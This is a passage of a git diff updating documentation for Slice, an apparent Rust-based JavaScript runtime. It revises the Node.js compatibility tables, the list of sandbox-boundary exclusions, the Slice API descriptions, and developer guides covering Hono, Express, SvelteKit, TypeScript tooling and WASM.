`PerformanceObserver`, `monitorEventLoopDelay`, `createHistogram`, and `diagnostics_channel` (`Channel`, `channel`, `hasSubscribers`, `subscribe`, `unsubscribe`, `tracingChannel`). | +| `node:module` & `node:string_decoder` | **Supported** | `Module.createRequire`, `Module.isBuiltin`, `Module.builtinModules`, and stateful multibyte `StringDecoder` (`write`, `end` across UTF-8, UTF-16LE surrogate pairs, and Base64/Base64URL chunk boundaries). | +| `node:readline` & `node:readline/promises` | **Supported** | `Interface`, `createInterface` (callback and Promise-based `.question()` with `AbortSignal`, `[Symbol.asyncIterator]` line streaming, `prompt`, `write`, `pause`, `resume`, `close`), `Readline`, `clearLine`, `clearScreenDown`, `cursorTo`, `moveCursor`, `emitKeypressEvents`. | +| `node:stream`, `node:stream/promises`, & `node:stream/web` | **Supported** | Full `EventEmitter`-based `Stream`, `Readable` (`_read`, `push`, `unshift`, `read`, `pause`, `resume`, `pipe`, `[Symbol.asyncIterator]`, `Readable.from`, `Readable.fromWeb`, `Readable.toWeb`), `Writable` (`_write`, `_final`, `write`, `end`, `cork`, `uncork`, `Writable.fromWeb`, `Writable.toWeb`), `Duplex`, `Transform` (`_transform`, `_flush`), `PassThrough`, `pipeline` (callback + `stream/promises`), `finished` (callback + `stream/promises`), `addAbortSignal`, and `stream/web` (`ReadableStream`, `WritableStream`, `TransformStream`, `TextEncoderStream`, `TextDecoderStream`, `CompressionStream`, `DecompressionStream`). | +| `node:http`, `node:https`, & `node:http2` | **Supported (5-Ring OCap + Direct Server Bridge)** | `IncomingMessage` (extending `Readable`), `ServerResponse` (extending `Writable`), `Server`, `createServer`, `ClientRequest` (extending `Writable`), `request`, `get`, `Agent`, `globalAgent`, `STATUS_CODES`, `METHODS`, `maxHeaderSize`, `validateHeaderName`, `validateHeaderValue`, plus `node:http2` (`constants`, `getDefaultSettings`, `getPackedSettings`, `getUnpackedSettings`, `createServer`, `createSecureServer`, `connect`). Bridges directly in-memory to `slice serve` and enforces 5-Ring OCap `allow_net`, SSRF private-IP filtering, `HTTP_PROXY`/`HTTPS_PROXY`/`NO_PROXY`, and Outbound Egress Secret DLP. | +| `node:net`, `node:tls`, `node:dns` (`dns/promises`), & `cloudflare:sockets` | **Supported (5-Ring OCap + DLP)** | `net.Socket`, `net.connect`, `net.createConnection`, `net.isIP`, `net.isIPv4`, `net.isIPv6`, `tls.TLSSocket`, `tls.connect`, `tls.createServer`, `dns.lookup` / `resolve` / `resolve4` / `dns.promises`, and WinterTC `connect(address, options)` (`cloudflare:sockets` / `slice:sockets`). Every TCP/TLS connection enforces OCap `allow_net`, Pre-Connect DNS Resolved-IP SSRF filtering, and Outbound Egress Secret DLP on every `socket.write()`. | +| `node:dgram` | **Supported (5-Ring OCap + DLP)** | `dgram.Socket`, `dgram.createSocket("udp4" \| "udp6")`, `.bind()`, `.send()`, `.address()`, `.close()` with OCap `allow_net`, Pre-Connect DNS SSRF filtering, and Outbound Egress Secret DLP on every datagram. | | `node:child_process` | **Supported (5-Ring OCap `ExecCap` + DLP)** | `execFileSync`, `spawnSync`, `execSync`, `spawn`, `exec`, `execFile`, `ChildProcess`. Enforces Ring 1 `ExecCap` binary allowlist (`--allow-exec` / `allow_exec`, Deny-All by default), Ring 2 environment sanitization (`env_clear()`, passing only tenant `allowed_env_keys`), Ring 3 child `stdout`/`stderr` Egress DLP scanning (`EGRESS_SECRET_LEAK_BLOCKED`), Ring 4 `timeout` & `maxBuffer` ceilings, and Ring 5 CPU fuel & memory accounting. | | `node:vm` | **Supported (5-Ring Sandboxed)** | `vm.Script`, `vm.createContext`, `vm.isContext`, `vm.runInContext`, `vm.runInNewContext`, `vm.runInThisContext`, `vm.compileFunction`. `runInContext` and `runInNewContext` execute inside a 5-Ring capability-attenuated `Slice.evalSandbox` child isolate with fuel/timeout metering. | | `node:worker_threads` | **Supported (OCap Attenuated)** | `Worker`, `isMainThread`, `parentPort`, `workerData`, `threadId`, `MessageChannel`, `MessagePort`, `receiveMessageOnPort`, `getEnvironmentData`, `setEnvironmentData`, `SHARE_ENV`. Child workers run inside dedicated `SliceIsolate` compartments with optional `slice: { allowRead, allowWrite, allowNet, fuel, memoryBytes }` capability attenuation. | -| `node:net` & `cloudflare:sockets` | **Supported (5-Ring OCap + DLP)** | `net.Socket`, `net.connect`, `net.createConnection`, `net.isIP`, `net.isIPv4`, `net.isIPv6`, and WinterTC `connect(address, options)` (`cloudflare:sockets` / `slice:sockets`). Every TCP/TLS connection enforces OCap `allow_net`, Pre-Connect DNS Resolved-IP SSRF filtering, and Outbound Egress Secret DLP on every `socket.write()`. | -| `node:dgram` | **Supported (5-Ring OCap + DLP)** | `dgram.Socket`, `dgram.createSocket("udp4" \| "udp6")`, `.bind()`, `.send()`, `.address()`, `.close()` with OCap `allow_net`, Pre-Connect DNS SSRF filtering, and Outbound Egress Secret DLP on every datagram. | -| `node:async_hooks` | **Supported** | `AsyncLocalStorage` (`run`, `getStore`, `enterWith`, `disable`, `exit`, `bind`, `snapshot`) and `AsyncResource` (`runInAsyncScope`, `bind`) with automatic store propagation across `Promise.then`/`catch`/`finally`, `queueMicrotask`, `process.nextTick`, `setTimeout`, `setInterval`, and `setImmediate`. | -| `node:zlib` | **Supported (Native Rust)** | Pure-Rust `flate2` (`miniz_oxide`) `gzipSync`, `gunzipSync`, `deflateSync`, `inflateSync`, `deflateRawSync`, `inflateRawSync` (plus callback/async variants) returning real `Uint8Array`-backed `Buffer` instances with decompression bomb protection against the tenant's memory ceiling. | +| `node:async_hooks` | **Supported** | `AsyncLocalStorage` (`run`, `getStore`, `enterWith`, `disable`, `exit`, `bind`, `snapshot`) and `AsyncResource` (`runInAsyncScope`, `bind`, `asyncId`, `triggerAsyncId`) with automatic store propagation across `Promise.then`/`catch`/`finally`, `queueMicrotask`, `process.nextTick`, `setTimeout`, `setInterval`, and `setImmediate`. | +| `node:zlib` | **Supported (Pure-Rust Engine)** | Pure-Rust zero-dependency RFC 1950/1951/1952 DEFLATE/GZIP/Zlib engine (`crates/slice-engine/src/intrinsics/compression.rs`): `gzipSync`, `gunzipSync`, `deflateSync`, `inflateSync`, `deflateRawSync`, `inflateRawSync`, `unzipSync` (plus callback/async `gzip`, `gunzip`, `deflate`, `inflate`, `deflateRaw`, `inflateRaw`, `unzip` and `constants`) returning real `Uint8Array`-backed `Buffer` instances with decompression bomb caging (`MAX_DECOMPRESSED_BYTES` + tenant memory ceiling). | +| `node:v8`, `node:wasi`, `node:inspector` (`inspector/promises`), & `node:cluster` | **Supported (Sandboxed Compatibility Layer)** | `v8` (`cachedDataVersionTag`, `getHeapStatistics`, `getHeapSpaceStatistics`, `setFlagsFromString`, `serialize`, `deserialize`), `wasi` (`WASI` class with zero-ambient-authority `wasi_snapshot_preview1` / `wasi_unstable` import stubs, `getImportObject`, `start`, `initialize`), `inspector` / `inspector/promises` (`Session`, `open`, `close`, `url`, `waitForDebugger`, `console`), and `cluster` (`EventEmitter` primary-process shim with `isPrimary === true`, `setupPrimary`, `disconnect`; `cluster.fork()` throws `ERR_CLUSTER_FORK_UNSUPPORTED` in favor of `slice serve --workers=N` and `node:worker_threads`). | +| `node:test` (`slice:test`, `bun:test`) | **Supported (Time-Travel Rollback)** | `describe`, `test`, `it`, `beforeEach`, `afterEach`, `expect` (including `.toViolate()`, `.toStayWithinFuel()`, `.toStayWithinMemory()`) with automatic `< 5 us` VFS + `Slice.kv` rollback between test blocks. | | `slice:jsx` (`react/jsx-runtime`, `preact/jsx-runtime`, `hono/jsx`) | **Supported (Built-In SSR)** | Zero-dependency JSX/TSX VNode runtime (`jsx`, `jsxs`, `jsxDEV`, `Fragment`, `createElement`, `h`, `raw`) and synchronous HTML serializer (`renderToString(vnode)`) with automatic XSS escaping. | --- @@ -66,21 +70,21 @@ Slice supports `node:*` built-in specifiers (both `"node:"` and bare `"< Slice compiles multi-file TypeScript/JavaScript projects and `node_modules` dependencies ahead-of-time into a content-addressed `.cas` archive (`SLC3`): -- **Zero-Config TypeScript (`oxc`)**: Native TypeScript (`interface`, `type`, generics, `enum`, access modifiers) stripped via `oxc` at build time and runtime; `.js` -> `.ts` / `.tsx` relative import resolution works automatically. -- **Oxc AST ESM-to-CJS Transformer**: Rewrites multiline `import`, `export const/function/class`, `export { a as b } from "..."`, `export default`, and `export * from "..."` statements into deterministic CommonJS closures without fragile regexes. +- **Zero-Config TypeScript (`oxc v0.152.0`)**: Native TypeScript (`interface`, `type`, generics, `enum`, access modifiers) stripped via `oxc` at build time and runtime; `.js` -> `.ts` / `.tsx` relative import resolution works automatically. +- **Oxc AST ESM-to-CJS & Live-Binding Transformer**: Rewrites multiline `import`, `export const/function/class`, `export { a as b } from "..."`, `export default`, and `export * from "..."` statements into deterministic module closures with live ES bindings and deferred function spans. - **Full `package.json` `"exports"` Resolution**: Supports nested conditional exports (`"workerd"`, `"worker"`, `"edge-light"`, `"import"`, `"require"`, `"module"`, `"node"`, `"default"`), wildcard subpath patterns (`"./*"`), and array fallbacks. -- **Verified Unmodified npm Ecosystem**: Edge web routers (`hono`, `itty-router`), schema validators (`zod`, `valibot`), data utilities (`semver`, `cookie`, `ms`, `bytes`, `flatted`, `mitt`, `uuid`), and JWT/OAuth libraries run unmodified inside Slice isolates. +- **Verified Unmodified npm Ecosystem**: Edge & full-stack frameworks (`hono`, `@sveltejs/kit` + `svelte`, `express` / `@polka`, `itty-router`), schema validators (`zod`, `valibot`), data utilities (`semver`, `cookie`, `ms`, `bytes`, `flatted`, `mitt`, `nanoid`, `ulid`, `superjson`, `devalue`), and JWT/OAuth libraries (`jose`) run unmodified inside Slice isolates. --- ## 4. Intentionally Unsupported by Design (Security Sandbox Boundary) -To guarantee `< 1.5 us` isolate spawn times, `4.0 KB` per-tenant memory footprint, and zero-trust multi-tenant containment without hardware virtualization overhead, the following Node.js OS-level modules are **intentionally unsupported**: +To guarantee `~1 us` isolate spawn times, `4.0 KB` per-tenant memory footprint, and zero-trust multi-tenant containment without hardware virtualization overhead, the following OS-level escapes are **intentionally unsupported**: | Module / Feature | Status | Architectural Reason & Recommended Alternative | | :--- | :--- | :--- | -| `node:cluster` | **Unsupported by Design** | Multi-process OS `fork()` cluster management is replaced by `slice serve --workers=N` shared-nothing worker threads and `new Worker()` / `node:worker_threads` isolated compartments. | -| Native C/C++ Addons (`.node` / N-API / `dlopen`) | **Unsupported by Design** | Arbitrary native machine code bypasses memory caps, fuel metering, and capability checks. Use pure JS/TS packages or WebAssembly / built-in native Rust intrinsics (`crypto`, `Slice.kv`). | +| `cluster.fork()` (OS Process Forking) | **Unsupported by Design** | While `node:cluster` is importable (`cluster.isPrimary === true`) so libraries checking primary/worker state work out of the box, OS `fork()` is blocked (`ERR_CLUSTER_FORK_UNSUPPORTED`). Use `slice serve --workers=N` shared-nothing worker threads and `new Worker()` / `node:worker_threads` isolated compartments. | +| Native C/C++ Addons (`.node` / N-API / `dlopen`) | **Unsupported by Design** | Arbitrary native machine code bypasses memory caps, fuel metering, and capability checks. Use pure JS/TS packages, WebAssembly (`.wasm` inside `wasmi`), or built-in native Rust intrinsics (`crypto`, `zlib`, `Slice.kv`). | --- @@ -88,11 +92,12 @@ To guarantee `< 1.5 us` isolate spawn times, `4.0 KB` per-tenant memory footprin In addition to standard WinterTC and `node:*` APIs, Slice provides deterministic and zero-trust primitives on the frozen `Slice` namespace: -- `Slice.checkpoint()` / `Slice.restore(id)`: $O(1)$ Copy-on-Write snapshot and rollback of both the Virtual File System and Sharded Edge KV store. -- `Slice.kv`: 64-shard concurrent in-memory Edge KV store (`get`, `put` with TTL, `delete`, `list`) with zero serialization overhead. -- `Slice.evalSandbox(code, options)`: Spawn an isolated, fuel-metered sub-sandbox with independent capability bounds for safely executing untrusted AI/LLM-generated code. -- `Slice.mockFetch(pattern, response)` / `Slice.clearMocks()`: Deterministic HTTP cassette mocking combined with virtual time-warp (`0 ns` timer fast-forwarding). -- `Slice.setSeed(u64)`: Switches `Math.random()`, `crypto.randomUUID()`, `crypto.getRandomValues()`, and `crypto.randomBytes()` into deterministic xorshift64* replay mode. +- `Slice.checkpoint()` / `Slice.restore(id)` / `Slice.releaseCheckpoint(id)`: $O(1)$ Copy-on-Write `< 5 us` snapshot and rollback of both the Virtual File System (`node:fs`) and Sharded Edge KV store (`Slice.kv`). +- `Slice.kv`: 16-shard concurrent in-memory per-tenant Edge KV store supporting `.get(key)`, `.set(key, value, ttlMs?)`, `.del(key)`, `.incr(key, delta?)`, and `.clear()`. +- `Slice.evalSandbox(code, options)`: Spawn an isolated, fuel-metered sub-sandbox with strict capability attenuation for safely executing untrusted AI/LLM-generated code. +- `Slice.serve(optionsOrHandler)` / `Slice.upgradeWebSocket(req)` / `Slice.connect(address, options)`: Zero-copy WinterTC HTTP server bridge (`Deno.serve` / `Bun.serve` compatible), RFC 6455 WebSocket upgrade, and 5-Ring OCap TCP/TLS raw sockets. +- `Slice.mockFetch(pattern, response)` / `Slice.mockSocket(addr, proto)` / `Slice.mockWebSocket(url, mode)` / `Slice.clearMocks()`: Deterministic HTTP, TCP/Redis, and WebSocket cassette mocking combined with virtual time-warp (`0 ns` timer fast-forwarding). +- `Slice.setSeed(u64)`: Switches `Math.random()`, `crypto.randomUUID()`, `crypto.getRandomValues()`, and `crypto.randomBytes()` into deterministic SplitMix64 replay mode. --- @@ -104,6 +109,4 @@ Every workspace test run (`cargo test --workspace`) executes [`test_phase5_confo | :--- | :--- | :--- | | **ECMAScript (ES2024+ Core & `Intl`)** | `Object.groupBy`, `Map.groupBy`, `Promise.withResolvers`, Change-Array-by-Copy (`toSorted`, `toReversed`, `toSpliced`, `with`), `Set` methods (`union`, `intersection`, `difference`, `symmetricDifference`, `isSubsetOf`, `isSupersetOf`, `isDisjointFrom`), `ArrayBuffer` transfer/resize, `BigInt`, `RegExp`, `Proxy`/`Reflect`, `WeakRef`/`FinalizationRegistry`, and `Intl` (`DateTimeFormat`, `NumberFormat`, `Collator`, `PluralRules`, `Segmenter`). | **100% (`boa_engine v0.22.0` + Shard 18 `Intl`)** | | **WinterTC Minimum Common Web Platform API** | `fetch`, `Request`, `Response`, `Headers`, `URL`, `URLSearchParams`, `URLPattern`, `TextEncoder`, `TextDecoder`, `TextEncoderStream`, `TextDecoderStream`, `ReadableStream`, `WritableStream`, `TransformStream`, `CompressionStream`, `DecompressionStream`, `Blob`, `File`, `FormData`, `Event`, `CustomEvent`, `EventTarget`, `AbortController`, `AbortSignal` (`timeout`, `any`, `abort`), `DOMException`, `crypto`, `crypto.subtle`, `CryptoKey`, `structuredClone`, `atob`, `btoa`, `performance`, `navigator`, `location`, `WebSocket`, `Worker`, `MessageChannel`, `MessagePort`, `WebAssembly`. | **100% (`38 / 38` WinterTC globals verified)** | -| **Node.js Core Built-in Modules (`node:*`)** | `node:fs`, `node:fs/promises`, `node:path`, `node:crypto`, `node:events`, `node:buffer`, `node:stream`, `node:stream/promises`, `node:stream/web`, `node:http`, `node:https`, `node:net`, `node:tls`, `node:dgram`, `node:worker_threads`, `node:child_process`, `node:os`, `node:util`, `node:util/types`, `node:url`, `node:querystring`, `node:assert`, `node:assert/strict`, `node:zlib`, `node:timers`, `node:timers/promises`, `node:async_hooks`, `node:diagnostics_channel`, `node:perf_hooks`, `node:process`, `node:module`, `node:string_decoder`, `node:console`, `node:dns`, `node:tty`, `node:vm`. | **100% (`31 / 31` primary `node:*` modules + subpaths verified)** | - - +| **Node.js Core Built-in Modules (`node:*`)** | `node:fs`, `node:fs/promises`, `node:path` (`path/posix`, `path/win32`), `node:crypto`, `node:events`, `node:buffer`, `node:stream`, `node:stream/promises`, `node:stream/web`, `node:http`, `node:https`, `node:http2`, `node:net`, `node:tls`, `node:dgram`, `node:worker_threads`, `node:child_process`, `node:os`, `node:util`, `node:util/types`, `node:url`, `node:querystring`, `node:assert`, `node:assert/strict`, `node:zlib`, `node:timers`, `node:timers/promises`, `node:async_hooks`, `node:diagnostics_channel`, `node:perf_hooks`, `node:process`, `node:module`, `node:readline`, `node:readline/promises`, `node:string_decoder`, `node:console`, `node:dns`, `node:dns/promises`, `node:tty`, `node:vm`, `node:v8`, `node:wasi`, `node:inspector`, `node:inspector/promises`, `node:cluster`, `node:test`. | **100% (All `Module.builtinModules` + subpaths verified)** | diff --git a/docs/guides/01_hono_and_unjs_edge_microservices.md b/docs/guides/01_hono_and_unjs_edge_microservices.md index 148e646..2b25403 100644 --- a/docs/guides/01_hono_and_unjs_edge_microservices.md +++ b/docs/guides/01_hono_and_unjs_edge_microservices.md @@ -1,6 +1,6 @@ -# Guide 01: Building & Deploying Hono (`v4`), UnJS, and SvelteKit (`v3`) Edge Microservices on Slice +# Guide 01: Building & Deploying Hono (`v4`), UnJS, Express, and SvelteKit (`v3`) Edge Microservices on Slice -Because Slice implements the WinterTC Minimum Common Web Platform API (`Request`, `Response`, `Headers`, `URL`, `URLSearchParams`, `ReadableStream`, `crypto.subtle`, `TextEncoder`/`TextDecoder`, and `export default { fetch }`) and compiles bundles ahead-of-time into **`SLICEBC\x01` Precompiled Boa `CodeBlock` CAS** containers with Oxc AST deferred function module spans and live ES module bindings, WinterTC frameworks like **Hono (`v4`)**, **`itty-router` (`v5`)**, the **UnJS / Nitro ecosystem (`ufo`, `destr`, `ohash`, `radix3`, `cookie`)**, and **SvelteKit (`@sveltejs/kit@3.1.1` + `svelte@5.57.3`)** run unmodified on Slice. +Because Slice implements the WinterTC Minimum Common Web Platform API (`Request`, `Response`, `Headers`, `URL`, `URLSearchParams`, `URLPattern`, `ReadableStream`, `CompressionStream`, `crypto.subtle`, `Intl`, `TextEncoder`/`TextDecoder`, and `export default { fetch }`), bridges `node:http` (`http.createServer`) directly in-memory to `slice serve`, and compiles bundles ahead-of-time into **`SLICEBC\x01` Precompiled Boa `CodeBlock` CAS** containers with Oxc AST deferred function module spans and live ES module bindings, frameworks like **Hono (`v4`)**, **`itty-router` (`v5`)**, the **UnJS / Nitro ecosystem (`ufo`, `destr`, `ohash`, `radix3`, `cookie`)**, **Express / Polka (`node:http`)**, and **SvelteKit (`@sveltejs/kit@3.1.1` + `svelte@5.57.3`)** run unmodified on Slice. --- @@ -58,22 +58,22 @@ slice compile . -o ./my-hono-bin --- -## 2. Building an `itty-router` + UnJS (`radix3`, `ufo`, `destr`, `ohash`) Edge Stack +## 2. Building an `itty-router` + UnJS (`radix3`, `ufo`, `destr`, `ohash`) or Express (`node:http`) Stack -See [`tests/frameworks/01-hono-edge-microservice`](../../tests/frameworks/01-hono-edge-microservice/src/index.ts) and [`tests/frameworks/02-itty-router-unjs-nitro-stack`](../../tests/frameworks/02-itty-router-unjs-nitro-stack/src/index.ts) for complete, benchmarked reference implementations verified across Slice, Bun, Deno, and Node.js. +See [`tests/frameworks/01-hono-edge-microservice`](../../tests/frameworks/01-hono-edge-microservice/src/index.ts), [`tests/frameworks/02-itty-router-unjs-nitro-stack`](../../tests/frameworks/02-itty-router-unjs-nitro-stack/src/index.ts), and [`tests/frameworks/03-node-http-express-compat`](../../tests/frameworks/03-node-http-express-compat/src/index.ts) for complete, benchmarked reference implementations verified across Slice, Bun, Deno, and Node.js (live metrics in [`tests/reports/latest.md`](../../tests/reports/latest.md)). --- ## 3. Scaffolding & Deploying a Full-Stack SvelteKit (`v3.1.1`) + Svelte 5 (`v5.57.3`) SSR Application -Slice includes a built-in project scaffolder (`slice init --template=sveltekit`) and custom WinterTC adapter (`adapter-slice.js`) for full-stack SvelteKit 3 + Svelte 5 SSR applications (`+page.svelte`, `+page.server.js` `load` & `actions`, `+server.js` JSON endpoints, `hooks.server.js`, and `devalue` `__data.json` hydration): +Slice includes a built-in project scaffolder (`slice init [dir] --template=sveltekit` or `-t sveltekit`) and custom WinterTC adapter (`adapter-slice.js`) for full-stack SvelteKit 3 + Svelte 5 SSR applications (`+page.svelte`, `+page.server.js` `load` & `actions`, `+server.js` JSON endpoints, `hooks.server.js`, and `devalue` `__data.json` hydration): ```bash # 1. Scaffold a SvelteKit 3 + Svelte 5 project with adapter-slice: slice init ./my-sveltekit-app --template=sveltekit cd ./my-sveltekit-app -# 2. Install dependencies & run the Vite 8 + SvelteKit SSR build: +# 2. Install dependencies & run the Vite + SvelteKit SSR build: npm install npm run build @@ -85,5 +85,3 @@ slice serve ./build/app.cas --port=3000 --workers=8 ``` See [`tests/frameworks/04-sveltekit-edge-ssr`](../../tests/frameworks/04-sveltekit-edge-ssr/src/index.ts) for the full 12-request benchmark and verification suite. - - diff --git a/docs/guides/02_typescript_ide_linting_and_wasm.md b/docs/guides/02_typescript_ide_linting_and_wasm.md index dcf9d93..7313fd2 100644 --- a/docs/guides/02_typescript_ide_linting_and_wasm.md +++ b/docs/guides/02_typescript_ide_linting_and_wasm.md @@ -1,17 +1,21 @@ # Guide 02: TypeScript IDE Setup (`slice.d.ts`), Linting (`oxlint` / `Biome`), & Replacing `.node` Addons with `.wasm` -This guide covers day-to-day TypeScript IDE tooling, static type-checking (`tsc --noEmit`), fast Rust-based linting and formatting (`oxlint` and `Biome`), and migrating native C/C++ `.node` addons to zero-stat `.wasm` modules. +This guide covers day-to-day TypeScript IDE tooling, sub-millisecond syntax checking (`slice check`), static type-checking (`tsc --noEmit`), fast Rust-based linting and formatting (`oxlint` and `Biome`), and migrating native C/C++ `.node` addons to zero-stat `.wasm` modules. --- -## 1. Automatic IDE IntelliSense & `tsc --noEmit` (`slice.d.ts` + `tsconfig.json`) +## 1. Automatic IDE IntelliSense, `slice check`, & `tsc --noEmit` (`slice.d.ts` + `tsconfig.json`) -Running `slice init` generates both `slice.d.ts` and `tsconfig.json` in your project root: -- **`slice.d.ts`** provides ambient TypeScript types for `Slice.*` (`Slice.kv`, `Slice.evalSandbox`, `Slice.checkpoint`, `Slice.restore`, `Slice.connect`, `Slice.mockFetch`, `Slice.mockSocket`, `Slice.mockWebSocket`), `WinterTC.route`, `env()`, `slice:test`, `slice:jsx`, and `cloudflare:sockets`. +Running `slice init` generates both `slice.d.ts` and `tsconfig.json` in your project root (and `slice init [dir] --template=sveltekit` scaffolds a full SvelteKit 3 + Svelte 5 project): +- **`slice.d.ts`** provides ambient TypeScript types for `Slice.*` (`Slice.kv`, `Slice.evalSandbox`, `Slice.checkpoint`, `Slice.restore`, `Slice.releaseCheckpoint`, `Slice.connect`, `Slice.streamSSE`, `Slice.waitUntil`), `WinterTC.route`, `env()`, `slice:test`, `slice:jsx`, and `cloudflare:sockets`. - **`tsconfig.json`** configures `"moduleResolution": "bundler"`, `"jsx": "react-jsx"`, `"jsxImportSource": "slice:jsx"`, and `"noEmit": true`. -Run full static type-checking in CI or pre-commit hooks without emitting `.js` files: +Run sub-millisecond Oxc AST + module-graph syntax validation or full TypeScript type-checking in CI and pre-commit hooks without emitting `.js` files: ```bash +# Fast Oxc AST + module dependency graph syntax validation (zero code execution): +slice check . + +# Full TypeScript type-checking via tsc: npx tsc --noEmit ``` @@ -52,4 +56,3 @@ const exports = instance.exports as { }; ``` See [`tests/apps/23-wasm-crypto-and-simd-kernel`](../../tests/apps/23-wasm-crypto-and-simd-kernel/src/index.ts) and [`tests/apps/24-tsx-ssr-and-wasm-edge-pipeline`](../../tests/apps/24-tsx-ssr-and-wasm-edge-pipeline/src/index.ts) for working examples. - diff --git a/docs/guides/README.md b/docs/guides/README.md index eab7deb..cd614e1 100644 --- a/docs/guides/README.md +++ b/docs/guides/README.md @@ -1,12 +1,15 @@ -# Slice (Nexus-JS) — Developer How-To Guides (`docs/guides/`) +# Slice (Nexus-JS): Developer How-To Guides (`docs/guides/`) This directory contains practical step-by-step developer guides, production deployment how-tos, and ecosystem integration recipes for Slice (`v0.10.12`): ## Available Guides -* **[Guide 01: Building & Deploying Hono (`v4`), UnJS, and SvelteKit (`v3`) Edge Microservices](./01_hono_and_unjs_edge_microservices.md)**: Scaffolding (`slice init --template=sveltekit`), serving (`slice serve`), and compiling (`slice compile`) `hono`, `itty-router`, UnJS (`ufo`, `destr`, `ohash`, `radix3`), and full-stack SvelteKit 3 + Svelte 5 SSR applications. -* **[Guide 02: TypeScript IDE Setup (`slice.d.ts`), Linting (`oxlint` / `Biome`), & `.wasm` Modules](./02_typescript_ide_linting_and_wasm.md)**: Configuring `tsc --noEmit`, `oxlint`, `Biome`, and replacing `.node` C++ addons with 5-Ring sandboxed `.wasm` modules. -* **[Production Tooling & Deployment Guide](../system/07_production_tooling_guide.md)**: End-to-end guide for `slice pack` (Zero-Stat `.cas` bundles), `slice compile` (self-contained `SLICEEXE` binaries), `slice serve` (multi-tenant HTTP/1.1 & WebSocket MicroVM hosting), `slice mcp` (AI Agent "Code Mode" MCP server), and `slice doctor`. -* **[Getting Started, `slice.toml` & CLI Reference](../general/01_getting_started_and_cli.md)**: Quickstart, project scaffolding (`slice init`), `.env` Auto-DLP configuration, and complete CLI command reference. +* **[Guide 01: Building & Deploying Hono (`v4`), UnJS, Express, and SvelteKit (`v3`) Edge Microservices](./01_hono_and_unjs_edge_microservices.md)**: Scaffolding (`slice init --template=sveltekit`), serving (`slice serve`), and compiling (`slice compile`) `hono`, `itty-router`, UnJS (`ufo`, `destr`, `ohash`, `radix3`), `Express`/`Polka` (`node:http`), and full-stack SvelteKit 3 + Svelte 5 SSR applications. +* **[Guide 02: TypeScript IDE Setup (`slice.d.ts`), Linting (`oxlint` / `Biome`), & `.wasm` Modules](./02_typescript_ide_linting_and_wasm.md)**: Configuring `slice check`, `tsc --noEmit`, `oxlint`, `Biome`, and replacing `.node` C++ addons with 5-Ring sandboxed `.wasm` modules. +* **[Getting Started, `slice.toml` & CLI Reference](../general/01_getting_started_and_cli.md)**: Quickstart, project scaffolding (`slice init`), `.env` Auto-DLP configuration, and complete 14-command CLI reference. +* **[Bundling (`.cas`) & Single-Binary Compilation (`slice compile`)](../general/03_cas_bundler_and_standalone_binaries.md)**: Zero-stat `.cas` bundles, self-contained `SLICEEXE` binaries, and static asset embedding (`--static`). +* **[HTTP Server (`slice serve`), TLS 1.3, WinterTC & Edge KV](../general/05_http_server_wintertc_and_edge_kv.md)**: Multi-tenant HTTP/1.1 & WebSocket MicroVM hosting, native TLS termination, SSE, and sharded `Slice.kv`. +* **[AI Agent Sandboxes (`Slice.evalSandbox`), Checkpoints & `slice mcp`](../general/06_ai_agent_sandbox_checkpoints_and_mcp.md)**: Sub-millisecond LLM code execution, `< 5 us` time-travel checkpoints, and Claude Code / Cursor MCP server setup. * **[Node.js Compatibility (`node:*`) & External NPM Packages](../general/07_node_compat_intrinsics_and_npm.md)**: Using npm packages (`node_modules/`), package managers (`npm`, `pnpm`, `yarn`, `bun`), CommonJS/ESM interop, and built-in `node:*` modules. * **[Runtime Compatibility Matrix](../general/COMPATIBILITY.md)**: Full WinterTC Web Standards, `node:*` module support, and WebAssembly (`wasmi`) reference. +* **[Top-Level Documentation Index (`docs/README.md`)](../README.md)**: Complete navigation across User Documentation, Guides, System Architecture Deep Dives, and Live Benchmark Reports. diff --git a/docs/system/00_index.md b/docs/system/00_index.md index c440635..4847703 100644 --- a/docs/system/00_index.md +++ b/docs/system/00_index.md @@ -2,10 +2,12 @@ Welcome to the **Slice (Nexus-JS)** System Architecture and Internal Specification (`docs/system/`). Engineered in pure Rust (`edition = 2021`, `opt-level = 3`, `lto = "fat"`, `codegen-units = 1`, `panic = "abort"`), Slice replaces the legacy POSIX + monolithic V8/JSC assumptions of Node.js, Deno, and Bun with four orthogonal, tightly integrated Rust crates: -1. **[`slice-cas`](../../crates/slice-cas/src/lib.rs)** — Zero-Stat Content-Addressed Storage (`SLICE_CAS` v1), Oxc (`v0.152.0`) AOT TypeScript/TSX Compiler, Oxc Semantic/AST Dead-Export Tree-Shaker, & `SLICEEXE` Standalone Executable Linker. -2. **[`slice-io`](../../crates/slice-io/src/lib.rs)** — Direct Kernel Completion Ring Engine (Linux `io_uring` `IORING_SETUP_SQPOLL` + Windows NT `IOCP` FFI + `64 KB` Page-Aligned Fixed Slab Buffers). -3. **[`slice-sandbox`](../../crates/slice-sandbox/src/lib.rs)** — MicroVM-Grade Object Capabilities (`FsCap`, `NetCap`, `EnvCap`), Dynamic SES Intrinsic Lockdown, Deterministic CPU Fuel & Byte Cage, & Linux `x86_64` Hardware `WRPKRU` Memory Protection Keys (MPK). -4. **[`slice-engine`](../../crates/slice-engine/src/lib.rs)** — Hybrid Three-Tier Execution Core: Tier-1 Default `SLICEBC\x01` Precompiled Boa `CodeBlock` CAS ([`boacas.rs`](../../crates/slice-engine/src/vm/boacas.rs), [`vendor/boa_engine/SLICE_PATCH.md`](../../vendor/boa_engine/SLICE_PATCH.md)) + Pre-Warmed `boa_engine` Pool + Native Rust Host Intrinsics, Tier-0 `SLICESNP` Snapshot VM, & Tier-2 Unboxed 64-Bit Numeric Register VM ([`numeric_vm.rs`](../../crates/slice-engine/src/vm/numeric_vm.rs)). +1. **[`slice-cas`](../../crates/slice-cas/src/lib.rs)** - Zero-Stat Content-Addressed Storage (`SLICE_CAS` v1), Oxc (`v0.152.0`) AOT TypeScript/TSX Compiler, Oxc Semantic/AST Dead-Export Tree-Shaker, & `SLICEEXE` Standalone Executable Linker. +2. **[`slice-io`](../../crates/slice-io/src/lib.rs)** - Direct Kernel Completion Ring Engine (Linux `io_uring` `IORING_SETUP_SQPOLL` + Windows NT `IOCP` FFI + `64 KB` Page-Aligned Fixed Slab Buffers). +3. **[`slice-sandbox`](../../crates/slice-sandbox/src/lib.rs)** - MicroVM-Grade Object Capabilities (`FsCap`, `NetCap`, `EnvCap`, `ExecCap`), Dynamic SES Intrinsic Lockdown, Deterministic CPU Fuel & Byte Cage, & Linux `x86_64` Hardware `WRPKRU` Memory Protection Keys (MPK). +4. **[`slice-engine`](../../crates/slice-engine/src/lib.rs)** - Hybrid Three-Tier Execution 